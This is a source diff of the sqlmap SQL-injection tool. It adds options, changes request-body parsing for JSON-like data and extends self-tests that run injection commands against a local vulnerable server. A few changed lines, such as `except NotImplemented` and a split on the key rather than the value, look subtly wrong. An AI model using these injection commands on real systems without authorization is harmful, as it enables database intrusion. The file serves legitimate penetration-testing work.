"liveCookies": "string",
|
||||||
"loadCookies": "string",
|
"loadCookies": "string",
|
||||||
"dropSetCookie": "boolean",
|
"dropSetCookie": "boolean",
|
||||||
"agent": "string",
|
"agent": "string",
|
||||||
@@ -61,6 +62,7 @@ optDict = {
|
|||||||
"csrfToken": "string",
|
"csrfToken": "string",
|
||||||
"csrfUrl": "string",
|
"csrfUrl": "string",
|
||||||
"csrfMethod": "string",
|
"csrfMethod": "string",
|
||||||
|
"csrfRetries": "integer",
|
||||||
"forceSSL": "boolean",
|
"forceSSL": "boolean",
|
||||||
"chunked": "boolean",
|
"chunked": "boolean",
|
||||||
"hpp": "boolean",
|
"hpp": "boolean",
|
||||||
@@ -201,6 +203,8 @@ optDict = {
|
|||||||
"trafficFile": "string",
|
"trafficFile": "string",
|
||||||
"answers": "string",
|
"answers": "string",
|
||||||
"batch": "boolean",
|
"batch": "boolean",
|
||||||
|
"base64Parameter": "string",
|
||||||
|
"base64Safe": "boolean",
|
||||||
"binaryFields": "string",
|
"binaryFields": "string",
|
||||||
"charset": "string",
|
"charset": "string",
|
||||||
"checkInternet": "boolean",
|
"checkInternet": "boolean",
|
||||||
@@ -219,6 +223,7 @@ optDict = {
|
|||||||
"hexConvert": "boolean",
|
"hexConvert": "boolean",
|
||||||
"outputDir": "string",
|
"outputDir": "string",
|
||||||
"parseErrors": "boolean",
|
"parseErrors": "boolean",
|
||||||
|
"postprocess": "string",
|
||||||
"preprocess": "string",
|
"preprocess": "string",
|
||||||
"repair": "boolean",
|
"repair": "boolean",
|
||||||
"saveConfig": "string",
|
"saveConfig": "string",
|
||||||
|
|||||||
@@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
import codecs
|
import codecs
|
||||||
|
import os
|
||||||
import random
|
import random
|
||||||
|
|
||||||
import lib.controller.checks
|
import lib.controller.checks
|
||||||
@@ -76,6 +77,15 @@ def dirtyPatches():
|
|||||||
# to prevent too much "guessing" in case of binary data retrieval
|
# to prevent too much "guessing" in case of binary data retrieval
|
||||||
thirdparty.chardet.universaldetector.MINIMUM_THRESHOLD = 0.90
|
thirdparty.chardet.universaldetector.MINIMUM_THRESHOLD = 0.90
|
||||||
|
|
||||||
|
# https://github.com/sqlmapproject/sqlmap/issues/4314
|
||||||
|
try:
|
||||||
|
os.urandom(1)
|
||||||
|
except NotImplemented:
|
||||||
|
if six.PY3:
|
||||||
|
os.urandom = lambda size: bytes(random.randint(0, 255) for _ in range(size))
|
||||||
|
else:
|
||||||
|
os.urandom = lambda size: "".join(chr(random.randint(0, 255)) for _ in xrange(size))
|
||||||
|
|
||||||
def resolveCrossReferences():
|
def resolveCrossReferences():
|
||||||
"""
|
"""
|
||||||
Place for cross-reference resolution
|
Place for cross-reference resolution
|
||||||
|
|||||||
+21
-5
@@ -18,7 +18,7 @@ from lib.core.enums import OS
|
|||||||
from thirdparty.six import unichr as _unichr
|
from thirdparty.six import unichr as _unichr
|
||||||
|
|
||||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||||
VERSION = "1.4.3.12"
|
VERSION = "1.4.11.0"
|
||||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||||
@@ -52,6 +52,9 @@ IPS_WAF_CHECK_RATIO = 0.5
|
|||||||
# Timeout used in heuristic check for WAF/IPS protected targets
|
# Timeout used in heuristic check for WAF/IPS protected targets
|
||||||
IPS_WAF_CHECK_TIMEOUT = 10
|
IPS_WAF_CHECK_TIMEOUT = 10
|
||||||
|
|
||||||
|
# Timeout used in checking for existence of live-cookies file
|
||||||
|
LIVE_COOKIES_TIMEOUT = 120
|
||||||
|
|
||||||
# Lower and upper values for match ratio in case of stable page
|
# Lower and upper values for match ratio in case of stable page
|
||||||
LOWER_RATIO_BOUND = 0.02
|
LOWER_RATIO_BOUND = 0.02
|
||||||
UPPER_RATIO_BOUND = 0.98
|
UPPER_RATIO_BOUND = 0.98
|
||||||
@@ -66,9 +69,11 @@ PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__"
|
|||||||
URI_QUESTION_MARKER = "__QUESTION_MARK__"
|
URI_QUESTION_MARKER = "__QUESTION_MARK__"
|
||||||
ASTERISK_MARKER = "__ASTERISK_MARK__"
|
ASTERISK_MARKER = "__ASTERISK_MARK__"
|
||||||
REPLACEMENT_MARKER = "__REPLACEMENT_MARK__"
|
REPLACEMENT_MARKER = "__REPLACEMENT_MARK__"
|
||||||
|
BOUNDED_BASE64_MARKER = "__BOUNDED_BASE64_MARK__"
|
||||||
BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION_MARK__"
|
BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION_MARK__"
|
||||||
SAFE_VARIABLE_MARKER = "__SAFE__"
|
SAFE_VARIABLE_MARKER = "__SAFE__"
|
||||||
SAFE_HEX_MARKER = "__SAFE_HEX__"
|
SAFE_HEX_MARKER = "__SAFE_HEX__"
|
||||||
|
DOLLAR_MARKER = "__DOLLAR__"
|
||||||
|
|
||||||
RANDOM_INTEGER_MARKER = "[RANDINT]"
|
RANDOM_INTEGER_MARKER = "[RANDINT]"
|
||||||
RANDOM_STRING_MARKER = "[RANDSTR]"
|
RANDOM_STRING_MARKER = "[RANDSTR]"
|
||||||
@@ -249,7 +254,7 @@ PYVERSION = sys.version.split()[0]
|
|||||||
IS_WIN = PLATFORM == "nt"
|
IS_WIN = PLATFORM == "nt"
|
||||||
|
|
||||||
# Check if running in terminal
|
# Check if running in terminal
|
||||||
IS_TTY = os.isatty(sys.stdout.fileno())
|
IS_TTY = hasattr(sys.stdout, "fileno") and os.isatty(sys.stdout.fileno())
|
||||||
|
|
||||||
# DBMS system databases
|
# DBMS system databases
|
||||||
MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB")
|
MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB")
|
||||||
@@ -605,7 +610,7 @@ BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT %s FROM %s)"
|
|||||||
SHELLCODEEXEC_RANDOM_STRING_MARKER = b"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
|
SHELLCODEEXEC_RANDOM_STRING_MARKER = b"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
|
||||||
|
|
||||||
# Period after last-update to start nagging about the old revision
|
# Period after last-update to start nagging about the old revision
|
||||||
LAST_UPDATE_NAGGING_DAYS = 60
|
LAST_UPDATE_NAGGING_DAYS = 180
|
||||||
|
|
||||||
# Minimum non-writing chars (e.g. ['"-:/]) ratio in case of parsed error messages
|
# Minimum non-writing chars (e.g. ['"-:/]) ratio in case of parsed error messages
|
||||||
MIN_ERROR_PARSING_NON_WRITING_RATIO = 0.05
|
MIN_ERROR_PARSING_NON_WRITING_RATIO = 0.05
|
||||||
@@ -816,7 +821,7 @@ XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z"
|
|||||||
JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null|\[).*\}\s*(\]\s*)*\Z'
|
JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null|\[).*\}\s*(\]\s*)*\Z'
|
||||||
|
|
||||||
# Regular expression used for detecting JSON-like POST data
|
# Regular expression used for detecting JSON-like POST data
|
||||||
JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+).*\}\s*(\]\s*)*\Z"
|
JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*('[^']+'|\"[^\"]+\"|\w+)\s*:\s*('[^']+'|\"[^\"]+\"|\d+).*\}\s*(\]\s*)*\Z"
|
||||||
|
|
||||||
# Regular expression used for detecting multipart POST data
|
# Regular expression used for detecting multipart POST data
|
||||||
MULTIPART_RECOGNITION_REGEX = r"(?i)Content-Disposition:[^;]+;\s*name="
|
MULTIPART_RECOGNITION_REGEX = r"(?i)Content-Disposition:[^;]+;\s*name="
|
||||||
@@ -917,7 +922,18 @@ for key, value in os.environ.items():
|
|||||||
if key.upper().startswith("%s_" % SQLMAP_ENVIRONMENT_PREFIX):
|
if key.upper().startswith("%s_" % SQLMAP_ENVIRONMENT_PREFIX):
|
||||||
_ = key[len(SQLMAP_ENVIRONMENT_PREFIX) + 1:].upper()
|
_ = key[len(SQLMAP_ENVIRONMENT_PREFIX) + 1:].upper()
|
||||||
if _ in globals():
|
if _ in globals():
|
||||||
globals()[_] = value
|
original = globals()[_]
|
||||||
|
if isinstance(original, int):
|
||||||
|
try:
|
||||||
|
globals()[_] = int(value)
|
||||||
|
except ValueError:
|
||||||
|
pass
|
||||||
|
elif isinstance(original, bool):
|
||||||
|
globals()[_] = value.lower() in ('1', 'true')
|
||||||
|
elif isinstance(original, (list, tuple)):
|
||||||
|
globals()[_] = [__.strip() for __ in _.split(',')]
|
||||||
|
else:
|
||||||
|
globals()[_] = value
|
||||||
|
|
||||||
# Installing "reversible" unicode (decoding) error handler
|
# Installing "reversible" unicode (decoding) error handler
|
||||||
def _reversible(ex):
|
def _reversible(ex):
|
||||||
|
|||||||
+14
-15
@@ -111,7 +111,7 @@ def _setRequestParams():
|
|||||||
def process(match, repl):
|
def process(match, repl):
|
||||||
retVal = match.group(0)
|
retVal = match.group(0)
|
||||||
|
|
||||||
if not (conf.testParameter and match.group("name") not in [removePostHintPrefix(_) for _ in conf.testParameter]) and match.group("name") == match.group("name").strip('\\'):
|
if not (conf.testParameter and match.group("name") not in (removePostHintPrefix(_) for _ in conf.testParameter)) and match.group("name") == match.group("name").strip('\\'):
|
||||||
retVal = repl
|
retVal = repl
|
||||||
while True:
|
while True:
|
||||||
_ = re.search(r"\\g<([^>]+)>", retVal)
|
_ = re.search(r"\\g<([^>]+)>", retVal)
|
||||||
@@ -120,7 +120,7 @@ def _setRequestParams():
|
|||||||
else:
|
else:
|
||||||
break
|
break
|
||||||
if kb.customInjectionMark in retVal:
|
if kb.customInjectionMark in retVal:
|
||||||
hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name")))
|
hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name").strip('"\'') if kb.postHint == POST_HINT.JSON_LIKE else match.group("name")))
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
@@ -145,6 +145,7 @@ def _setRequestParams():
|
|||||||
if choice == 'Q':
|
if choice == 'Q':
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
elif choice == 'Y':
|
elif choice == 'Y':
|
||||||
|
kb.postHint = POST_HINT.JSON
|
||||||
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
||||||
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||||
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
||||||
@@ -159,8 +160,6 @@ def _setRequestParams():
|
|||||||
_ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _)
|
_ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _)
|
||||||
conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))
|
conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))
|
||||||
|
|
||||||
kb.postHint = POST_HINT.JSON
|
|
||||||
|
|
||||||
elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):
|
elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):
|
||||||
message = "JSON-like data found in %s body. " % conf.method
|
message = "JSON-like data found in %s body. " % conf.method
|
||||||
message += "Do you want to process it? [Y/n/q] "
|
message += "Do you want to process it? [Y/n/q] "
|
||||||
@@ -169,13 +168,16 @@ def _setRequestParams():
|
|||||||
if choice == 'Q':
|
if choice == 'Q':
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
elif choice == 'Y':
|
elif choice == 'Y':
|
||||||
|
kb.postHint = POST_HINT.JSON_LIKE
|
||||||
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
||||||
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||||
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
||||||
conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark), conf.data)
|
if '"' in conf.data:
|
||||||
conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark), conf.data)
|
conf.data = re.sub(r'((?P<name>"[^"]+"|\w+)\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
|
||||||
|
conf.data = re.sub(r'((?P<name>"[^"]+"|\w+)\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % kb.customInjectionMark), conf.data)
|
||||||
kb.postHint = POST_HINT.JSON_LIKE
|
else:
|
||||||
|
conf.data = re.sub(r"((?P<name>'[^']+'|\w+)\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark), conf.data)
|
||||||
|
conf.data = re.sub(r"((?P<name>'[^']+'|\w+)\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark), conf.data)
|
||||||
|
|
||||||
elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):
|
elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):
|
||||||
message = "Array-like data found in %s body. " % conf.method
|
message = "Array-like data found in %s body. " % conf.method
|
||||||
@@ -185,12 +187,11 @@ def _setRequestParams():
|
|||||||
if choice == 'Q':
|
if choice == 'Q':
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
elif choice == 'Y':
|
elif choice == 'Y':
|
||||||
|
kb.postHint = POST_HINT.ARRAY_LIKE
|
||||||
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
||||||
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
||||||
conf.data = re.sub(r"(=[^%s]+)" % DEFAULT_GET_POST_DELIMITER, r"\g<1>%s" % kb.customInjectionMark, conf.data)
|
conf.data = re.sub(r"(=[^%s]+)" % DEFAULT_GET_POST_DELIMITER, r"\g<1>%s" % kb.customInjectionMark, conf.data)
|
||||||
|
|
||||||
kb.postHint = POST_HINT.ARRAY_LIKE
|
|
||||||
|
|
||||||
elif re.search(XML_RECOGNITION_REGEX, conf.data):
|
elif re.search(XML_RECOGNITION_REGEX, conf.data):
|
||||||
message = "SOAP/XML data found in %s body. " % conf.method
|
message = "SOAP/XML data found in %s body. " % conf.method
|
||||||
message += "Do you want to process it? [Y/n/q] "
|
message += "Do you want to process it? [Y/n/q] "
|
||||||
@@ -199,13 +200,12 @@ def _setRequestParams():
|
|||||||
if choice == 'Q':
|
if choice == 'Q':
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
elif choice == 'Y':
|
elif choice == 'Y':
|
||||||
|
kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
|
||||||
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
||||||
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||||
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
||||||
conf.data = re.sub(r"(<(?P<name>[^>]+)( [^<]*)?>)([^<]+)(</\2)", functools.partial(process, repl=r"\g<1>\g<4>%s\g<5>" % kb.customInjectionMark), conf.data)
|
conf.data = re.sub(r"(<(?P<name>[^>]+)( [^<]*)?>)([^<]+)(</\2)", functools.partial(process, repl=r"\g<1>\g<4>%s\g<5>" % kb.customInjectionMark), conf.data)
|
||||||
|
|
||||||
kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
|
|
||||||
|
|
||||||
elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data):
|
elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data):
|
||||||
message = "Multipart-like data found in %s body. " % conf.method
|
message = "Multipart-like data found in %s body. " % conf.method
|
||||||
message += "Do you want to process it? [Y/n/q] "
|
message += "Do you want to process it? [Y/n/q] "
|
||||||
@@ -214,13 +214,12 @@ def _setRequestParams():
|
|||||||
if choice == 'Q':
|
if choice == 'Q':
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
elif choice == 'Y':
|
elif choice == 'Y':
|
||||||
|
kb.postHint = POST_HINT.MULTIPART
|
||||||
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
||||||
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||||
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
||||||
conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"']?(?P<name>[^\"'\r\n]+)[\"']?).+?)((%s)+--)" % ("\r\n" if "\r\n" in conf.data else '\n'), functools.partial(process, repl=r"\g<1>%s\g<4>" % kb.customInjectionMark), conf.data)
|
conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"']?(?P<name>[^\"'\r\n]+)[\"']?).+?)((%s)+--)" % ("\r\n" if "\r\n" in conf.data else '\n'), functools.partial(process, repl=r"\g<1>%s\g<4>" % kb.customInjectionMark), conf.data)
|
||||||
|
|
||||||
kb.postHint = POST_HINT.MULTIPART
|
|
||||||
|
|
||||||
if not kb.postHint:
|
if not kb.postHint:
|
||||||
if kb.customInjectionMark in conf.data: # later processed
|
if kb.customInjectionMark in conf.data: # later processed
|
||||||
pass
|
pass
|
||||||
@@ -401,7 +400,7 @@ def _setRequestParams():
|
|||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
|
|
||||||
if conf.csrfToken:
|
if conf.csrfToken:
|
||||||
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
|
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not all(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()):
|
||||||
errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original
|
errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original
|
||||||
errMsg += "found in provided GET, POST, Cookie or header values"
|
errMsg += "found in provided GET, POST, Cookie or header values"
|
||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
|
|||||||
+21
-5
@@ -39,15 +39,20 @@ def vulnTest():
|
|||||||
|
|
||||||
TESTS = (
|
TESTS = (
|
||||||
("-h", ("to see full list of options run with '-hh'",)),
|
("-h", ("to see full list of options run with '-hh'",)),
|
||||||
("-u <url> --flush-session --wizard --check-internet", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.", "~no connection detected")),
|
|
||||||
("--dependencies", ("sqlmap requires", "third-party library")),
|
("--dependencies", ("sqlmap requires", "third-party library")),
|
||||||
|
("-u <url> --flush-session --wizard", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")),
|
||||||
(u"-c <config> --flush-session --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible")),
|
(u"-c <config> --flush-session --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible")),
|
||||||
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)),
|
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)),
|
||||||
("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
|
("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
|
||||||
|
("-u '<url>&id2=1' -p id2 -v 5 --flush-session --level=5 --test-filter='AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'", ("~1AND",)),
|
||||||
("--list-tampers", ("between", "MySQL", "xforwardedfor")),
|
("--list-tampers", ("between", "MySQL", "xforwardedfor")),
|
||||||
("-r <request> --flush-session -v 5 --test-skip='heavy' --save=<tmp>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind")),
|
("-r <request> --flush-session -v 5 --test-skip='heavy' --save=<tmp>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind")),
|
||||||
|
("<piped> -r <request> -l <log> --flush-session --banner --technique=B", ("banner: '3.", "STDIN")),
|
||||||
("-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
|
("-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
|
||||||
("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
|
("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
|
||||||
|
("-u <base64> -p id --base64=id --data='base64=true' --flush-session --banner --technique=B", ("banner: '3.",)),
|
||||||
|
("-u <base64> -p id --base64=id --data='base64=true' --flush-session --tables --technique=U", (" users ",)),
|
||||||
|
("-u <url> --flush-session --banner --technique=B --not-string 'no results'", ("banner: '3.",)),
|
||||||
("-u <url> --flush-session --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
|
("-u <url> --flush-session --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
|
||||||
("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
|
("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
|
||||||
("-u <url> --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
|
("-u <url> --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
|
||||||
@@ -85,9 +90,13 @@ def vulnTest():
|
|||||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
try:
|
try:
|
||||||
s.connect((address, port))
|
s.connect((address, port))
|
||||||
break
|
s.send(b"GET / HTTP/1.0\r\n\r\n")
|
||||||
|
if b"vulnserver" in s.recv(4096):
|
||||||
|
break
|
||||||
except:
|
except:
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
|
finally:
|
||||||
|
s.close()
|
||||||
|
|
||||||
handle, config = tempfile.mkstemp(suffix=".conf")
|
handle, config = tempfile.mkstemp(suffix=".conf")
|
||||||
os.close(handle)
|
os.close(handle)
|
||||||
@@ -120,13 +129,20 @@ def vulnTest():
|
|||||||
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
|
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
|
||||||
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
|
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
|
||||||
|
|
||||||
cmd = "%s %s %s --batch --non-interactive" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("<url>", url).replace("<direct>", direct).replace("<request>", request).replace("<log>", log).replace("<config>", config))
|
for tag, value in (("<url>", url), ("<direct>", direct), ("<request>", request), ("<log>", log), ("<config>", config), ("<base64>", url.replace("id=1", "id=MZ=%3d"))):
|
||||||
|
options = options.replace(tag, value)
|
||||||
|
|
||||||
|
cmd = "%s %s %s --batch --non-interactive" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options)
|
||||||
|
|
||||||
if "<tmp>" in cmd:
|
if "<tmp>" in cmd:
|
||||||
handle, tmp = tempfile.mkstemp()
|
handle, tmp = tempfile.mkstemp()
|
||||||
os.close(handle)
|
os.close(handle)
|
||||||
cmd = cmd.replace("<tmp>", tmp)
|
cmd = cmd.replace("<tmp>", tmp)
|
||||||
|
|
||||||
|
if "<piped>" in cmd:
|
||||||
|
cmd = re.sub(r"<piped>\s*", "", cmd)
|
||||||
|
cmd = "echo %s | %s" % (url, cmd)
|
||||||
|
|
||||||
output = shellExec(cmd)
|
output = shellExec(cmd)
|
||||||
|
|
||||||
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or "unhandled exception" in output:
|
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or "unhandled exception" in output:
|
||||||
@@ -326,7 +342,7 @@ def smokeTest():
|
|||||||
count, length = 0, 0
|
count, length = 0, 0
|
||||||
|
|
||||||
for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
|
for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
|
||||||
if any(_ in root for _ in ("thirdparty", "extra")):
|
if any(_ in root for _ in ("thirdparty", "extra", "interbase")):
|
||||||
continue
|
continue
|
||||||
|
|
||||||
for filename in files:
|
for filename in files:
|
||||||
@@ -334,7 +350,7 @@ def smokeTest():
|
|||||||
length += 1
|
length += 1
|
||||||
|
|
||||||
for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
|
for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
|
||||||
if any(_ in root for _ in ("thirdparty", "extra")):
|
if any(_ in root for _ in ("thirdparty", "extra", "interbase")):
|
||||||
continue
|
continue
|
||||||
|
|
||||||
for filename in files:
|
for filename in files:
|
||||||
|
|||||||
+2
-1
@@ -21,6 +21,7 @@ from lib.core.datatype import AttribDict
|
|||||||
from lib.core.enums import PAYLOAD
|
from lib.core.enums import PAYLOAD
|
||||||
from lib.core.exception import SqlmapBaseException
|
from lib.core.exception import SqlmapBaseException
|
||||||
from lib.core.exception import SqlmapConnectionException
|
